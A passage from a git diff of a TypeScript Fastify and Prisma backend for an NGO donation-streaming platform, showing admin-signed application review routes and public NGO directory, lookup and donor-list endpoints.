`x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 `{ applications: Application[], total, limit, offset }`; 400 `{ error: "invalid_request", details }` (including `offset` above `MAX_APPLICATION_LIST_OFFSET`). + */ + app.get( + '/ngo-applications', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGO Applications'], + summary: 'Lists applications newest first with optional status and offset pagination', + security: adminSecurityScheme, + }, + }, + async (request, reply) => { + const parsed = listQuerySchema.safeParse(request.query); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + + const where = parsed.data.status ? { status: parsed.data.status } : {}; + + const [applications, total] = await Promise.all([ + prisma.ngoApplication.findMany({ + where, + orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], + take: parsed.data.limit, + skip: parsed.data.offset, + }), + prisma.ngoApplication.count({ where }), + ]); + + return { applications, total, limit: parsed.data.limit, offset: parsed.data.offset }; + }); + + /** + * Returns a single application, including its submitted and review details. + * @route GET /v1/ngo-applications/:id + * @param id Application UUID + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 application; 400 invalid UUID; 404 `{ error: "not_found" }`. + */ + app.get( + '/ngo-applications/:id', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGO Applications'], + summary: 'Returns a single application, including its submitted and review details', + security: adminSecurityScheme, + }, + }, + async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const application = await prisma.ngoApplication.findUnique({ + where: { id: parsedParams.data.id }, + }); + if (!application) { + return reply.code(404).send({ error: 'not_found' }); + } + + return application; + }, + ); + + /** + * Approves a pending application and optionally records a review note. + * @route POST /v1/ngo-applications/:id/approve + * @param id Application UUID + * @body Optional `{ reviewNote?: string }` (maximum 2000 characters) + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 updated application; 400 invalid params/body; 404 `{ error: "not_found" }`; 409 `{ error: "already_reviewed" }`. + */ + app.post( + '/ngo-applications/:id/approve', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGO Applications'], + summary: 'Approves a pending application and optionally records a review note', + security: adminSecurityScheme, + }, + }, + async (request, reply) => { + const reviewedBy = request.headers['x-admin-address']; + if (typeof reviewedBy !== 'string') { + return reply.code(401).send({ error: 'unauthorized' }); + } + + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + const { id } = parsedParams.data; + + const parsed = reviewBodySchema.safeParse(request.body ?? {}); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + + const application = await prisma.ngoApplication.findUnique({ where: { id } }); + if (!application) { + return reply.code(404).send({ error: 'not_found' }); + } + if (application.status !== 'PENDING') { + return reply.code(409).send({ error: 'already_reviewed' }); + } + if (!application.emailVerifiedAt) { + return reply.code(409).send({ error: 'contact_email_unverified' }); + } + + try { + const reviewed = await prisma.ngoApplication.update({ + where: { id, status: 'PENDING' }, + data: { + status: 'APPROVED', + reviewNote: parsed.data?.reviewNote, + reviewedBy, + reviewedAt: new Date(), + }, + }); + await notify({ + type: 'application_reviewed', + applicationId: reviewed.id, + ownerAddress: reviewed.ownerAddress, + status: 'APPROVED', + ...(reviewed.reviewNote ? { reviewNote: reviewed.reviewNote } : {}), + }); + return reviewed; + } catch (err) { + if ( + typeof err === 'object' && + err !== null && + (err as { code?: string }).code === 'P2025' + ) { + return reply.code(404).send({ error: 'not_found' }); + } + throw err; + } + }, + ); + + /** + * Rejects a pending application and optionally records a review note. + * @route POST /v1/ngo-applications/:id/reject + * @param id Application UUID + * @body Optional `{ reviewNote?: string }` (maximum 2000 characters) + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 updated application; 400 invalid params/body; 404 `{ error: "not_found" }`; 409 `{ error: "already_reviewed" }`. + */ + app.post( + '/ngo-applications/:id/reject', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGO Applications'], + summary: 'Rejects a pending application and optionally records a review note', + security: adminSecurityScheme, + }, + }, + async (request, reply) => { + const reviewedBy = request.headers['x-admin-address']; + if (typeof reviewedBy !== 'string') { + return reply.code(401).send({ error: 'unauthorized' }); + } + + const parsedParams = idParamSchema.safeParse(request.params); + if (!parsedParams.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + const { id } = parsedParams.data; + + const parsed = reviewBodySchema.safeParse(request.body ?? {}); + if (!parsed.success) { + return reply.code(400).send({ error: 'invalid_request', details: parsed.error.flatten() }); + } + + const application = await prisma.ngoApplication.findUnique({ where: { id } }); + if (!application) { + return reply.code(404).send({ error: 'not_found' }); + } + if (application.status !== 'PENDING') { + return reply.code(409).send({ error: 'already_reviewed' }); + } + if (!application.emailVerifiedAt) { + return reply.code(409).send({ error: 'contact_email_unverified' }); + } + + try { + const reviewed = await prisma.ngoApplication.update({ + where: { id, status: 'PENDING' }, + data: { + status: 'REJECTED', + reviewNote: parsed.data?.reviewNote, + reviewedBy, + reviewedAt: new Date(), + }, + }); + await notify({ + type: 'application_reviewed', + applicationId: reviewed.id, + ownerAddress: reviewed.ownerAddress, + status: 'REJECTED', + ...(reviewed.reviewNote ? { reviewNote: reviewed.reviewNote } : {}), + }); + return reviewed; + } catch (err) { + if ( + typeof err === 'object' && + err !== null && + (err as { code?: string }).code === 'P2025' + ) { + return reply.code(404).send({ error: 'not_found' }); + } + throw err; + } + }, + ); +} diff --git a/src/routes/ngoName.ts b/src/routes/ngoName.ts index d64099d..e8c4dd9 100644 --- a/src/routes/ngoName.ts +++ b/src/routes/ngoName.ts @@ -1,4 +1,4 @@ -export function getPublicNgoName(ngo: { name: string; displayName?: string | null } | null): string | null { - if (!ngo) return null; - return ngo.displayName || ngo.name || null; -} +export function getPublicNgoName(ngo: { name: string; displayName?: string | null } | null): string | null { + if (!ngo) return null; + return ngo.displayName || ngo.name || null; +} diff --git a/src/routes/ngos.ts b/src/routes/ngos.ts index 45e47ed..4b21453 100644 --- a/src/routes/ngos.ts +++ b/src/routes/ngos.ts @@ -1,444 +1,444 @@ -import type { FastifyInstance } from 'fastify'; -import { z } from 'zod'; - -import { Prisma } from '../generated/prisma/client.js'; -import { prisma } from '../db.js'; -import { sendPublicCacheable } from './cacheable.js'; -import { requireAdminSignature } from '../middleware/adminAuth.js'; -import { getPublicNgoName } from './ngoName.js'; -import { committedTotalsByToken } from './tokenTotals.js'; - -/** Params for NGO detail, donor, and admin update routes; `id` must be an NGO UUID. */ -const idParamSchema = z.object({ id: z.string().uuid() }); -const RECENT_STREAMS_LIMIT = 10; - -interface NgoListRow { - id: string; - ownerAddress: string; - name: string; - displayName: string | null; - verified: boolean; - createdAt: Date; - updatedAt: Date; -} - -/** Admin update body; optional `displayName` is a string, null to clear, or omitted to preserve. */ -const updateNgoSchema = z.object({ - displayName: z.string().nullable().optional(), -}); - -/** Public directory sort mode: newest, oldest, or name (default newest). */ -const sortSchema = z.enum(['newest', 'oldest', 'name']).default('newest'); - -/** - * Public directory query: `limit` from 1–100 (default 100), optional NGO - * UUID `cursor`, `sort` mode, and optional case-insensitive `q` up to - * 100 characters. - */ -const listQuerySchema = z.object({ - limit: z.coerce.number().int().min(1).max(100).default(100), - cursor: z.string().uuid().optional(), - sort: sortSchema, - // Name search: case-insensitive substring match, capped to prevent abuse. - q: z.string().max(100).optional(), -}); - -/** Donor-list query: `limit` from 1–100 (default 100) and optional donor UUID `cursor`. */ -const donorListQuerySchema = z.object({ - limit: z.coerce.number().int().min(1).max(100).default(100), - cursor: z.string().uuid().optional(), -}); - -function committedAmount(stream: { - status: 'ACTIVE' | 'CANCELLED'; - balance: string; - withdrawn: string; -}): bigint { - return stream.status === 'CANCELLED' - ? BigInt(stream.withdrawn) - : BigInt(stream.balance) + BigInt(stream.withdrawn); -} - -/** Lookup query; `address` must be a Stellar G... public key. */ -const lookupQuerySchema = z.object({ - // Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. - address: z - .string() - .regex(/^G[A-Z2-7]{55}$/), -}); - -/** - * Admin directory query: `limit` from 1–100 (default 100), optional NGO UUID - * `cursor`, and optional `verified` string (`true` or `false`). - */ -const adminListQuerySchema = z.object({ - limit: z.coerce.number().int().min(1).max(100).default(100), - cursor: z.string().uuid().optional(), - // Optional boolean filter as a query string (so 'true'/'false' arrive as - // strings); omitted means "everything, verified or not". - verified: z - .enum(['true', 'false']) - .optional() - .transform((v) => (v === undefined ? undefined : v === 'true')), -}); - -/** Builds the GET /ngos/:id response shape from a unique Prisma `where`. */ -async function findNgoDetail(where: { id: string } | { ownerAddress: string }) { - const ngo = await prisma.ngo.findUnique({ where }); - - if (!ngo) { - return null; - } - - const [approvedApp, streamStats, recentStreamRows, streamsForTokenTotals] = await Promise.all([ - prisma.ngoApplication.findFirst({ - where: { ownerAddress: ngo.ownerAddress, status: 'APPROVED' }, - orderBy: { updatedAt: 'desc' }, - select: { description: true, website: true, country: true }, - }), - prisma.$queryRaw< - Array<{ - totalCommitted: string; - totalWithdrawn: string; - activeStreamCount: number; - donorCount: number; - }> - >` - SELECT - COALESCE(SUM( - CASE - WHEN "status" = 'CANCELLED' THEN "withdrawn"::numeric - ELSE "balance"::numeric + "withdrawn"::numeric - END - ), 0)::text AS "totalCommitted", - COALESCE(SUM("withdrawn"::numeric), 0)::text AS "totalWithdrawn", - COUNT(*) FILTER (WHERE "status" = 'ACTIVE')::int AS "activeStreamCount", - COUNT(DISTINCT "donor_id")::int AS "donorCount" - FROM "streams" - WHERE "ngo_id" = ${ngo.id} - `, - prisma.stream.findMany({ - where: { ngoId: ngo.id }, - orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], - take: RECENT_STREAMS_LIMIT + 1, - select: { - id: true, - onChainId: true, - donor: { select: { address: true } }, - tokenAddress: true, - rate: true, - balance: true, - withdrawn: true, - status: true, - createdAt: true, - }, - }), - prisma.stream.findMany({ - where: { ngoId: ngo.id }, - select: { status: true, balance: true, withdrawn: true, tokenAddress: true }, - }), - ]); - - const [stats] = streamStats; - const hasMoreRecentStreams = recentStreamRows.length > RECENT_STREAMS_LIMIT; - const recentStreams = recentStreamRows.slice(0, RECENT_STREAMS_LIMIT); - - return { - ...ngo, - name: getPublicNgoName(ngo) || null, - registered: ngo.name !== '', - description: approvedApp?.description ?? null, - website: approvedApp?.website ?? null, - country: approvedApp?.country ?? null, - stats: { - totalCommitted: stats.totalCommitted, - committedByToken: committedTotalsByToken(streamsForTokenTotals), - totalWithdrawn: stats.totalWithdrawn, - activeStreamCount: stats.activeStreamCount, - donorCount: stats.donorCount, - }, - recentStreams: recentStreams.map(({ onChainId, ...stream }) => ({ - ...stream, - onChainId: onChainId.toString(), - })), - recentStreamsNextCursor: hasMoreRecentStreams ? recentStreams.at(-1)?.id ?? null : null, - }; -} - -export async function ngoRoutes(app: FastifyInstance): Promise { - /** - * Lists verified NGOs with search, sorting, and cursor pagination. - * @route GET /v1/ngos - * @query limit, cursor, sort, q - * @auth Public - * @returns 200 `{ ngos: NgoSummary[], nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. - */ - app.get('/ngos', async (request, reply) => { - const parsedQuery = listQuerySchema.safeParse(request.query); - if (!parsedQuery.success) { - return reply - .code(400) - .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); - } - const { limit, cursor, sort, q } = parsedQuery.data; - - // @prisma/adapter-pg sends string parameters as type `text`. The ngos.id - // column is also `text` in Postgres (Prisma maps String @id to text, not - // the native uuid type), so both sides of the comparison are already text. - // Casting to ::uuid would produce "operator does not exist: text = uuid". - // Use an explicit ::text cast on the parameter to keep the types aligned. - const cursorFilter = cursor - ? Prisma.sql`${cursor}::text` - : Prisma.sql`NULL::text`; - - const rows = await prisma.$queryRaw` - WITH cursor_ngo AS ( - SELECT id, COALESCE(NULLIF(display_name, ''), name) AS public_name, created_at - FROM ngos - WHERE id = ${cursorFilter} - ) - SELECT - ngo.id, - ngo.owner_address AS "ownerAddress", - ngo.name, - ngo.display_name AS "displayName", - ngo.verified, - ngo.created_at AS "createdAt", - ngo.updated_at AS "updatedAt" - FROM ngos AS ngo - WHERE ngo.verified = TRUE - AND ( - ${q ?? null}::text IS NULL - OR COALESCE(NULLIF(ngo.display_name, ''), ngo.name) ILIKE '%' || ${q ?? null} || '%' - ) - AND ( - ${cursorFilter} IS NULL - OR EXISTS ( - SELECT 1 - FROM cursor_ngo AS cursor_row - WHERE - (${sort} = 'name' AND (COALESCE(NULLIF(ngo.display_name, ''), ngo.name), ngo.id) > (cursor_row.public_name, cursor_row.id)) - OR (${sort} = 'oldest' AND (ngo.created_at, ngo.id) > (cursor_row.created_at, cursor_row.id)) - OR (${sort} = 'newest' AND ( - ngo.created_at < cursor_row.created_at - OR (ngo.created_at = cursor_row.created_at AND ngo.id > cursor_row.id) - )) - ) - ) - ORDER BY - CASE WHEN ${sort} = 'name' THEN COALESCE(NULLIF(ngo.display_name, ''), ngo.name) END ASC, - CASE WHEN ${sort} = 'oldest' THEN ngo.created_at END ASC, - CASE WHEN ${sort} = 'newest' THEN ngo.created_at END DESC, - ngo.id ASC - LIMIT ${limit + 1} - `; - - const hasMore = rows.length > limit; - const ngos = (hasMore ? rows.slice(0, limit) : rows).map((ngo) => ({ - ...ngo, - name: getPublicNgoName(ngo), - })); - const nextCursor = hasMore ? ngos[ngos.length - 1].id : null; - - return sendPublicCacheable(request, reply, { ngos, nextCursor }); - }); - - // Admin counterpart to GET /ngos above: also returns the unverified rows - // the indexer creates (a `register` event, or a stream to an address that - // never registered) — exactly what an admin needs to spot streams pointed - // at NGOs that aren't in the public directory. Optionally narrowed with - // ?verified=true|false. - /** - * Lists all NGOs, including unverified entries, for admin review. - * @route GET /v1/ngos/all - * @query limit, cursor, verified - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 `{ ngos: Ngo[], nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. - */ - app.get( - '/ngos/all', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGOs'], - summary: 'Lists all NGOs, including unverified entries, for admin review', - security: [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }], - }, - }, - async (request, reply) => { - const parsedQuery = adminListQuerySchema.safeParse(request.query); - if (!parsedQuery.success) { - return reply - .code(400) - .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); - } - const { limit, cursor, verified } = parsedQuery.data; - - const rows = await prisma.ngo.findMany({ - where: verified === undefined ? {} : { verified }, - orderBy: { createdAt: 'desc' }, - take: limit + 1, - ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), - }); - - const hasMore = rows.length > limit; - const ngos = hasMore ? rows.slice(0, limit) : rows; - const nextCursor = hasMore ? ngos[ngos.length - 1].id : null; - - return { ngos, nextCursor }; - }); - - /** - * Finds a public NGO profile by Stellar owner address. - * @route GET /v1/ngos/lookup - * @query address Stellar public key - * @auth Public - * @returns 200 NGO detail with approved application information, totals, and recent streams; 400 invalid address; 404 `{ error: "not_found" }`. - */ - app.get('/ngos/lookup', async (request, reply) => { - const parsedQuery = lookupQuerySchema.safeParse(request.query); - if (!parsedQuery.success) { - return reply - .code(400) - .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); - } - - const ngo = await findNgoDetail({ ownerAddress: parsedQuery.data.address }); - if (!ngo) { - return reply.code(404).send({ error: 'not_found' }); - } - - return sendPublicCacheable(request, reply, ngo); - }); - - /** - * Lists donors who have streams for the specified NGO. - * @route GET /v1/ngos/:id/donors - * @param id NGO UUID - * @query limit, cursor - * @auth Public - * @returns 200 `{ donors: { id, address, totalCommitted }[], nextCursor: string | null }`; 400 invalid params/query; 404 `{ error: "not_found" }`. - */ - app.get('/ngos/:id/donors', async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - const parsedQuery = donorListQuerySchema.safeParse(request.query); - if (!parsedParams.success || !parsedQuery.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const { id: ngoId } = parsedParams.data; - const { limit, cursor } = parsedQuery.data; - const ngo = await prisma.ngo.findUnique({ where: { id: ngoId }, select: { id: true } }); - if (!ngo) { - return reply.code(404).send({ error: 'not_found' }); - } - - const donorQuery = prisma.donor.findMany({ - where: { streams: { some: { ngoId } } }, - orderBy: { id: 'asc' }, - take: limit + 1, - ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), - select: { - id: true, - address: true, - streams: { - where: { ngoId }, - select: { status: true, balance: true, withdrawn: true, tokenAddress: true }, - }, - }, - }); - type DonorRow = Awaited[number]; - - let rows: DonorRow[]; - try { - rows = await donorQuery; - } catch (err: unknown) { - // Prisma throws P2025 (NotFoundError) when the cursor record does not - // exist. Treat that as "cursor is past the end of the list" and return - // an empty page rather than a 400/500. - if (err instanceof Prisma.PrismaClientKnownRequestError && err.code === 'P2025') { - rows = []; - } else { - throw err; - } - } - - const hasMore = rows.length > limit; - const page = hasMore ? rows.slice(0, limit) : rows; - const donors = page.map(({ streams, ...donor }) => ({ - ...donor, - totalCommitted: streams - .reduce((sum, stream) => sum + committedAmount(stream), 0n) - .toString(), - committedByToken: committedTotalsByToken(streams), - })); - - return sendPublicCacheable(request, reply, { - donors, - nextCursor: hasMore ? donors[donors.length - 1].id : null, - }); - }); - - /** - * Returns a public NGO profile with approved application details and impact statistics. - * @route GET /v1/ngos/:id - * @param id NGO UUID - * @auth Public - * @returns 200 NGO detail with totals and recent streams; 400 invalid UUID; 404 `{ error: "not_found" }`. - */ - app.get('/ngos/:id', async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const ngo = await findNgoDetail({ id: parsedParams.data.id }); - if (!ngo) { - return reply.code(404).send({ error: 'not_found' }); - } - - return sendPublicCacheable(request, reply, ngo); - }); - - /** - * Updates or clears the NGO's public display name. - * @route PATCH /v1/admin/ngos/:id - * @param id NGO UUID - * @body `{ displayName?: string | null }` - * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. - * @returns 200 updated NGO with its effective public `name`; 400 invalid params/body; 404 `{ error: "not_found" }`. - */ - app.patch( - '/admin/ngos/:id', - { - preHandler: requireAdminSignature, - schema: { - tags: ['NGOs'], - summary: "Updates or clears the NGO's public display name", - security: [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }], - }, - }, - async (request, reply) => { - const parsedParams = idParamSchema.safeParse(request.params); - if (!parsedParams.success) { - return reply.code(400).send({ error: 'invalid_request' }); - } - - const parsedBody = updateNgoSchema.safeParse(request.body); - if (!parsedBody.success) { - return reply.code(400).send({ error: 'invalid_request', details: parsedBody.error.flatten() }); - } - - const ngo = await prisma.ngo.findUnique({ where: { id: parsedParams.data.id } }); - if (!ngo) { - return reply.code(404).send({ error: 'not_found' }); - } - - const updated = await prisma.ngo.update({ - where: { id: ngo.id }, - data: { displayName: parsedBody.data.displayName }, - }); - - return { ...updated, name: updated.displayName || updated.name }; - }); -} +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; + +import { Prisma } from '../generated/prisma/client.js'; +import { prisma } from '../db.js'; +import { sendPublicCacheable } from './cacheable.js'; +import { requireAdminSignature } from '../middleware/adminAuth.js'; +import { getPublicNgoName } from './ngoName.js'; +import { committedTotalsByToken } from './tokenTotals.js'; + +/** Params for NGO detail, donor, and admin update routes; `id` must be an NGO UUID. */ +const idParamSchema = z.object({ id: z.string().uuid() }); +const RECENT_STREAMS_LIMIT = 10; + +interface NgoListRow { + id: string; + ownerAddress: string; + name: string; + displayName: string | null; + verified: boolean; + createdAt: Date; + updatedAt: Date; +} + +/** Admin update body; optional `displayName` is a string, null to clear, or omitted to preserve. */ +const updateNgoSchema = z.object({ + displayName: z.string().nullable().optional(), +}); + +/** Public directory sort mode: newest, oldest, or name (default newest). */ +const sortSchema = z.enum(['newest', 'oldest', 'name']).default('newest'); + +/** + * Public directory query: `limit` from 1–100 (default 100), optional NGO + * UUID `cursor`, `sort` mode, and optional case-insensitive `q` up to + * 100 characters. + */ +const listQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(100).default(100), + cursor: z.string().uuid().optional(), + sort: sortSchema, + // Name search: case-insensitive substring match, capped to prevent abuse. + q: z.string().max(100).optional(), +}); + +/** Donor-list query: `limit` from 1–100 (default 100) and optional donor UUID `cursor`. */ +const donorListQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(100).default(100), + cursor: z.string().uuid().optional(), +}); + +function committedAmount(stream: { + status: 'ACTIVE' | 'CANCELLED'; + balance: string; + withdrawn: string; +}): bigint { + return stream.status === 'CANCELLED' + ? BigInt(stream.withdrawn) + : BigInt(stream.balance) + BigInt(stream.withdrawn); +} + +/** Lookup query; `address` must be a Stellar G... public key. */ +const lookupQuerySchema = z.object({ + // Stellar StrKey ed25519 public key: 'G' + 55 base32 (A-Z2-7) chars. + address: z + .string() + .regex(/^G[A-Z2-7]{55}$/), +}); + +/** + * Admin directory query: `limit` from 1–100 (default 100), optional NGO UUID + * `cursor`, and optional `verified` string (`true` or `false`). + */ +const adminListQuerySchema = z.object({ + limit: z.coerce.number().int().min(1).max(100).default(100), + cursor: z.string().uuid().optional(), + // Optional boolean filter as a query string (so 'true'/'false' arrive as + // strings); omitted means "everything, verified or not". + verified: z + .enum(['true', 'false']) + .optional() + .transform((v) => (v === undefined ? undefined : v === 'true')), +}); + +/** Builds the GET /ngos/:id response shape from a unique Prisma `where`. */ +async function findNgoDetail(where: { id: string } | { ownerAddress: string }) { + const ngo = await prisma.ngo.findUnique({ where }); + + if (!ngo) { + return null; + } + + const [approvedApp, streamStats, recentStreamRows, streamsForTokenTotals] = await Promise.all([ + prisma.ngoApplication.findFirst({ + where: { ownerAddress: ngo.ownerAddress, status: 'APPROVED' }, + orderBy: { updatedAt: 'desc' }, + select: { description: true, website: true, country: true }, + }), + prisma.$queryRaw< + Array<{ + totalCommitted: string; + totalWithdrawn: string; + activeStreamCount: number; + donorCount: number; + }> + >` + SELECT + COALESCE(SUM( + CASE + WHEN "status" = 'CANCELLED' THEN "withdrawn"::numeric + ELSE "balance"::numeric + "withdrawn"::numeric + END + ), 0)::text AS "totalCommitted", + COALESCE(SUM("withdrawn"::numeric), 0)::text AS "totalWithdrawn", + COUNT(*) FILTER (WHERE "status" = 'ACTIVE')::int AS "activeStreamCount", + COUNT(DISTINCT "donor_id")::int AS "donorCount" + FROM "streams" + WHERE "ngo_id" = ${ngo.id} + `, + prisma.stream.findMany({ + where: { ngoId: ngo.id }, + orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], + take: RECENT_STREAMS_LIMIT + 1, + select: { + id: true, + onChainId: true, + donor: { select: { address: true } }, + tokenAddress: true, + rate: true, + balance: true, + withdrawn: true, + status: true, + createdAt: true, + }, + }), + prisma.stream.findMany({ + where: { ngoId: ngo.id }, + select: { status: true, balance: true, withdrawn: true, tokenAddress: true }, + }), + ]); + + const [stats] = streamStats; + const hasMoreRecentStreams = recentStreamRows.length > RECENT_STREAMS_LIMIT; + const recentStreams = recentStreamRows.slice(0, RECENT_STREAMS_LIMIT); + + return { + ...ngo, + name: getPublicNgoName(ngo) || null, + registered: ngo.name !== '', + description: approvedApp?.description ?? null, + website: approvedApp?.website ?? null, + country: approvedApp?.country ?? null, + stats: { + totalCommitted: stats.totalCommitted, + committedByToken: committedTotalsByToken(streamsForTokenTotals), + totalWithdrawn: stats.totalWithdrawn, + activeStreamCount: stats.activeStreamCount, + donorCount: stats.donorCount, + }, + recentStreams: recentStreams.map(({ onChainId, ...stream }) => ({ + ...stream, + onChainId: onChainId.toString(), + })), + recentStreamsNextCursor: hasMoreRecentStreams ? recentStreams.at(-1)?.id ?? null : null, + }; +} + +export async function ngoRoutes(app: FastifyInstance): Promise { + /** + * Lists verified NGOs with search, sorting, and cursor pagination. + * @route GET /v1/ngos + * @query limit, cursor, sort, q + * @auth Public + * @returns 200 `{ ngos: NgoSummary[], nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. + */ + app.get('/ngos', async (request, reply) => { + const parsedQuery = listQuerySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + const { limit, cursor, sort, q } = parsedQuery.data; + + // @prisma/adapter-pg sends string parameters as type `text`. The ngos.id + // column is also `text` in Postgres (Prisma maps String @id to text, not + // the native uuid type), so both sides of the comparison are already text. + // Casting to ::uuid would produce "operator does not exist: text = uuid". + // Use an explicit ::text cast on the parameter to keep the types aligned. + const cursorFilter = cursor + ? Prisma.sql`${cursor}::text` + : Prisma.sql`NULL::text`; + + const rows = await prisma.$queryRaw` + WITH cursor_ngo AS ( + SELECT id, COALESCE(NULLIF(display_name, ''), name) AS public_name, created_at + FROM ngos + WHERE id = ${cursorFilter} + ) + SELECT + ngo.id, + ngo.owner_address AS "ownerAddress", + ngo.name, + ngo.display_name AS "displayName", + ngo.verified, + ngo.created_at AS "createdAt", + ngo.updated_at AS "updatedAt" + FROM ngos AS ngo + WHERE ngo.verified = TRUE + AND ( + ${q ?? null}::text IS NULL + OR COALESCE(NULLIF(ngo.display_name, ''), ngo.name) ILIKE '%' || ${q ?? null} || '%' + ) + AND ( + ${cursorFilter} IS NULL + OR EXISTS ( + SELECT 1 + FROM cursor_ngo AS cursor_row + WHERE + (${sort} = 'name' AND (COALESCE(NULLIF(ngo.display_name, ''), ngo.name), ngo.id) > (cursor_row.public_name, cursor_row.id)) + OR (${sort} = 'oldest' AND (ngo.created_at, ngo.id) > (cursor_row.created_at, cursor_row.id)) + OR (${sort} = 'newest' AND ( + ngo.created_at < cursor_row.created_at + OR (ngo.created_at = cursor_row.created_at AND ngo.id > cursor_row.id) + )) + ) + ) + ORDER BY + CASE WHEN ${sort} = 'name' THEN COALESCE(NULLIF(ngo.display_name, ''), ngo.name) END ASC, + CASE WHEN ${sort} = 'oldest' THEN ngo.created_at END ASC, + CASE WHEN ${sort} = 'newest' THEN ngo.created_at END DESC, + ngo.id ASC + LIMIT ${limit + 1} + `; + + const hasMore = rows.length > limit; + const ngos = (hasMore ? rows.slice(0, limit) : rows).map((ngo) => ({ + ...ngo, + name: getPublicNgoName(ngo), + })); + const nextCursor = hasMore ? ngos[ngos.length - 1].id : null; + + return sendPublicCacheable(request, reply, { ngos, nextCursor }); + }); + + // Admin counterpart to GET /ngos above: also returns the unverified rows + // the indexer creates (a `register` event, or a stream to an address that + // never registered) — exactly what an admin needs to spot streams pointed + // at NGOs that aren't in the public directory. Optionally narrowed with + // ?verified=true|false. + /** + * Lists all NGOs, including unverified entries, for admin review. + * @route GET /v1/ngos/all + * @query limit, cursor, verified + * @auth Admin signature required via `x-admin-address`, `x-admin-timestamp`, and `x-admin-signature`. + * @returns 200 `{ ngos: Ngo[], nextCursor: string | null }`; 400 `{ error: "invalid_request", details }`. + */ + app.get( + '/ngos/all', + { + preHandler: requireAdminSignature, + schema: { + tags: ['NGOs'], + summary: 'Lists all NGOs, including unverified entries, for admin review', + security: [{ adminAddress: [], adminSignature: [], adminTimestamp: [] }], + }, + }, + async (request, reply) => { + const parsedQuery = adminListQuerySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + const { limit, cursor, verified } = parsedQuery.data; + + const rows = await prisma.ngo.findMany({ + where: verified === undefined ? {} : { verified }, + orderBy: { createdAt: 'desc' }, + take: limit + 1, + ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), + }); + + const hasMore = rows.length > limit; + const ngos = hasMore ? rows.slice(0, limit) : rows; + const nextCursor = hasMore ? ngos[ngos.length - 1].id : null; + + return { ngos, nextCursor }; + }); + + /** + * Finds a public NGO profile by Stellar owner address. + * @route GET /v1/ngos/lookup + * @query address Stellar public key + * @auth Public + * @returns 200 NGO detail with approved application information, totals, and recent streams; 400 invalid address; 404 `{ error: "not_found" }`. + */ + app.get('/ngos/lookup', async (request, reply) => { + const parsedQuery = lookupQuerySchema.safeParse(request.query); + if (!parsedQuery.success) { + return reply + .code(400) + .send({ error: 'invalid_request', details: parsedQuery.error.flatten() }); + } + + const ngo = await findNgoDetail({ ownerAddress: parsedQuery.data.address }); + if (!ngo) { + return reply.code(404).send({ error: 'not_found' }); + } + + return sendPublicCacheable(request, reply, ngo); + }); + + /** + * Lists donors who have streams for the specified NGO. + * @route GET /v1/ngos/:id/donors + * @param id NGO UUID + * @query limit, cursor + * @auth Public + * @returns 200 `{ donors: { id, address, totalCommitted }[], nextCursor: string | null }`; 400 invalid params/query; 404 `{ error: "not_found" }`. + */ + app.get('/ngos/:id/donors', async (request, reply) => { + const parsedParams = idParamSchema.safeParse(request.params); + const parsedQuery = donorListQuerySchema.safeParse(request.query); + if (!parsedParams.success || !parsedQuery.success) { + return reply.code(400).send({ error: 'invalid_request' }); + } + + const { id: ngoId } = parsedParams.data; + const { limit, cursor } = parsedQuery.data; + const ngo = await prisma.ngo.findUnique({ where: { id: ngoId }, select: { id: true } }); + if (!ngo) { + return reply.code(404).send({ error: 'not_found' }); + } + + const donorQuery = prisma.donor.findMany({ + where: { streams: { some: { ngoId } } }, + orderBy: { id: 'asc' }, + take: limit + 1, + ...(cursor ? { skip: 1, cursor: { id: cursor } } : {}), + select: { + id: true, + address: true, + streams: { + where: { ngoId }, + select: { status: true, balance: true, withdrawn: true, tokenAddress: true }, + }, + }, + }); + type DonorRow = Awaited[number]; + + let rows: DonorRow[]; + try { + rows = await donorQuery; + } catch (err: unknown) { + // Prisma throws P2025 (NotFoundError) when the 